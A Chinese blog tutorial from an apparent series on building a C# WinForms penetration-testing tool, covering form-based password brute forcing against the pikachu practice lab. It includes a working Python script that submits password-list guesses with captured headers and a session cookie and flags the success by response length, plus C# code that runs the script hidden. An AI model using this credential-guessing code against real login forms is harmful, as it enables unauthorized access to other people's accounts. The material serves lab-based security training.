使用C#winform编写渗透测试工具--暴力破解

这篇文章主要介绍使用C#winform编写渗透测试工具--暴力破解。暴力破解是指通过利用大量猜测和穷举的方式来尝试获取用户口令的攻击方式。简单来说就是猜口令,攻击者一直枚举发送请求,因为爆破成功和失败的长度是不一样的,所以可以通过对比数据包的长度很好的判断是否爆破成功。通过python编写爆破脚本,再通过C#winform调用.py脚本进行爆破。

  • 下面就是使用C#winform编写的渗透测试工具,前面我们已经完成了端口扫描和敏感目录扫描的工作,这一部分将介绍暴力破解部分。

  • 使用pikachu靶场环境进行实验,如今通常是使用BurpSuit的Intruder模块来进行暴力破解,网上也有很多教程,这里我们通过自己编写软件进行暴力破解,靶场环境的搭建步骤可以参考https://blog.csdn.net/guo_yan_gy/article/details/103566638这篇文章,搭建后打开浏览器输入网址进入靶场。


目录

  1. 实现原理
  2. 代码实现
  3. 使用步骤

一、实现原理

暴力破解分为基于表单的暴力破解、基于验证码的暴力破解和基于Token破解,这里主要实现基于表单的暴力破解。

  • 首先需要一个密码字典,可以通过自己收集,也可以在网上下载。

  • 一般进行密码爆破时,都是知道账户的而不知道密码,但如果两个都不知道,一般先爆破账户。爆破账户的原理是根据在输入账号后反馈的消息来进行确认,这里主要进行密码爆破。
  • 使用python编写脚本调用字典进行密码爆破,根据返回的结果的长度判断爆破的结果(错误的密码返回的结果的信息是一样的,长度也是一样的,正确密码返回的结果和其他的返回结果不同,所以只需要找到返回结果长度和其他不一样的密码即可,该密码就是正确密码)。

二、代码实现

python实现密码暴力破解

# conding=utf-8
import requests
import sys # 此处添加header
header = """
Host: 10.16.53.180
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://10.16.53.180
Connection: close
Referer: http://10.16.53.180/pikachu/vul/burteforce/bf_form.php
Cookie: PHPSESSID=1g0kj04uc3ahskoaubeqpgud56
Upgrade-Insecure-Requests: 1
""" def get_headers(url, test):
headers = dict(line.split(": ", 1) for line in header.split("\n") if line != '') # 通过原生请求头获取请求头字典
f = open("password.txt", "r") # 打开字典
pwds = f.readlines()
print("响应时间:")
for pwd in pwds:
url = url
# url = 'http://10.16.53.180/pikachu/vul/burteforce/bf_form.php'
values = {
'username': test,
'password': pwd[0:-1],
'submit': 'Login',
}
req = requests.post(url=url, headers=headers, data=values) # 发送post请求
print(pwd[0:-1]+'-->', len(req.text)) # 返回结果 get_headers(sys.argv[1], sys.argv[2])

C#调用脚本

对于python脚本中包含第三方模块的情况,同样,通过直接创建Process进程,调用python脚本,返回扫描结果。

  • 创建按钮按下事件button1_Click,运行“调用python脚本”函数runPythonPassword()
private void button6_Click(object sender, EventArgs e)
{
richTextBox3.Clear();
runPythonPassword();//运行python函数
label19.Text = "开始扫描...";
}
  • 实例化一个python进程 调用.py 脚本
void runPythonPassword()
{ string url ="http://10.16.53.180/pikachu/vul/burteforce/bf_form.php";
//string headers = richTextBox4.Text;
string username = textBox8.Text;
p = new Process();
string path = "trans_headers.py";//待处理python文件的路径,本例中放在debug文件夹下
string sArguments = path;
ArrayList arrayList = new ArrayList();
arrayList.Add(url);//网站url
//arrayList.Add(headers);//请求头
arrayList.Add(username);//破解的用户名
foreach (var param in arrayList)//拼接参数
{
sArguments += " " + param;
}
//label29.Text = sArguments;
p.StartInfo.FileName = @"D:\Anaconda\python.exe"; //没有配环境变量的话,可以写"xx\xx\python.exe"的绝对路径。如果配了,直接写"python"即可
p.StartInfo.Arguments = sArguments;//python命令的参数
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p.Start();//启动进程
p.BeginOutputReadLine();
p.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived_password);
Console.ReadLine();
}
  • 输出接收事件函数
void p_OutputDataReceived_password(object sender, DataReceivedEventArgs e)
{
var printedStr = e.Data;
Action at = new Action(delegate ()
{
//接受.py进程打印的字符信息到文本显示框
richTextBox3.AppendText(printedStr + "\n");
label19.Text = "扫描结束";
});
Invoke(at);
}

三、软件使用步骤

  1. 首先在密码框输入任意密码,使用BurpSuit进行抓包。我们发现提交的请求是一个POST请求,账号是admin,密码是123。

  1. 将报文头部复制到python脚本中。

  1. 输入url地址和账户名,点击开始按钮,进行爆破。

  1. 可以看到密码为“abc123”返回的结果的长度和其他的都不一样,由此可以得到账户名为“test”的密码为“abc123”。

5.在靶场中输入账户名:test,密码:abc123,显示登录成功,爆破结束。

github地址:https://github.com/Chenmengx/Penetration-testing-tool

使用C#winform编写渗透测试工具--暴力破解的更多相关文章

  1. #使用C#winform编写渗透测试工具--子域名挖掘

    使用C#winform编写渗透测试工具--子域名挖掘 这篇文章主要介绍使用C#winform编写渗透测试工具--子域名挖掘.在渗透测试中,子域名的收集十分重要,通常一个网站的主站的防御能力特别强,而他 ...

  2. 使用C#winform编写渗透测试工具--敏感目录扫描

    使用C#winform编写渗透测试工具--敏感目录扫描 由于之前在做渗透测试的时候,发现使用的工具较多,切换起来较麻烦,便萌生了开发一个包含各种渗透测试工具的小程序,包括敏感目录扫描.端口查询.子域名 ...

  3. 使用C#winform编写渗透测试工具--Web指纹识别

    使用C#winform编写渗透测试工具--web指纹识别 本篇文章主要介绍使用C#winform编写渗透测试工具--Web指纹识别.在渗透测试中,web指纹识别是信息收集关键的一步,通常是使用各种工具 ...

  4. 使用C#winform编写渗透测试工具--端口扫描

    使用C#winform编写渗透测试工具--端口扫描器 主要介绍使用C#winform编写渗透测试工具--端口扫描器,端口扫描器则是一种检测服务器或者主机虚拟端口是开启或关闭的工具.由于连接到局域网或互 ...

  5. 使用C#winform编写渗透测试工具--SQL注入

    使用C#winform编写渗透测试工具--SQL注入 本篇文章主要介绍使用C#winform编写渗透测试工具,实现SQL注入的功能.使用python编写SQL注入脚本,基于get显错注入的方式进行数据 ...

  6. github渗透测试工具库

    本文作者:Yunying 原文链接:https://www.cnblogs.com/BOHB-yunying/p/11856178.html 导航: 2.漏洞练习平台 WebGoat漏洞练习平台: h ...

  7. github渗透测试工具库[转载]

    前言 今天看到一个博客里有这个置顶的工具清单,但是发现这些都是很早以前就有文章发出来的,我爬下来后一直放在txt里吃土.这里一起放出来. 漏洞练习平台 WebGoat漏洞练习平台:https://gi ...

  8. 轻量级Web渗透测试工具jSQL

    轻量级Web渗透测试工具jSQL jSQL是Kali集成的一款轻量级的Web渗透测试工具.最初该工具主要实施SQL注入,后来增加更多的功能,扩展形成一个综合性的Web渗透测试工具.Kali提供的版本较 ...

  9. 渗透测试工具SQLmap

    一.简介 SQLmap 是一款用 Python 编写的开源渗透测试工具,用来自动检测和利用 SQL 注入漏洞. 二.Windows 下安装 2.1 安装 Python 环境 注:Python 3.0会 ...

随机推荐

  1. noip2012 总结

    Vigenère 密码 题目描述 16 世纪法国外交家 Blaise de Vigenère 设计了一种多表密码加密算法――Vigenère 密码.Vigenère 密码的加密解密算法简单易用,且破译 ...

  2. C#《大话设计模式》之模板方法模式学习笔记

    static void Main(string[] args) { Console.WriteLine("学生甲抄的试卷:"); TestPaper A = new TestPap ...

  3. DOS命令行(6)——Windows网络状态及用户管理

    ipconfig --查看计算机中适配器的TCP/IP配置信息 命令格式: ipconfig [/allcompartments] [/? | /all | /renew [adapter] | /r ...

  4. 基于ILI9341的TFT液晶显示模组LCM240320详解(1)

    Hello,大家好,今天我们来讨论当下非常流行的TFT液晶显示模组,它最大的特点是可以显示出效果非常好的彩色信息,绝大多数手机.液晶显示器,液晶电视.MID.MP4等产品都在使用它,你想抗拒它的魅力还 ...

  5. App免责声明

    一切移动客户端用户在下载并浏览xxxAPP软件时均被视为已经仔细阅读本条款并完全同意.凡以任何方式使用本APP,或直接.间接使用本APP资料者,均被视为自愿接受本网页相关声明和用户服务协议的约束. x ...

  6. Spring Boot 无侵入式 实现RESTful API接口统一JSON格式返回

    前言 现在我们做项目基本上中大型项目都是选择前后端分离,前后端分离已经成了一个趋势了,所以总这样·我们就要和前端约定统一的api 接口返回json 格式, 这样我们需要封装一个统一通用全局 模版api ...

  7. 第11章:Pod数据持久化

    参考文档:https://kubernetes.io/docs/concepts/storage/volumes/ Kubernetes中的Volume提供了在容器中挂载外部存储的能力 Pod需要设置 ...

  8. JS replace 替换全部数据

    (1)使用具有全局标志g的正则表达式 var str = "dogdogdog"; var str2 = str.replace(/dog/g,"cat");/ ...

  9. JDK1.8 ArrayList 源码解析

    源码的解读逻辑按照程序运行的轨迹展开 Arraylist的继承&实现关系 打开ArrayList源码,会看到有如下的属性定义, ArrayList中定义的属性 /** * Default in ...

  10. Python自动化之封装日志模块(一)

    ------------恢复内容开始------------ 简介: 自己也在训练营学习之中,闲来之余,自己写着玩的,主要还是为了学习,希望和前辈和大佬相互学习共进. 日志模块主要有四大组件:日志器, ...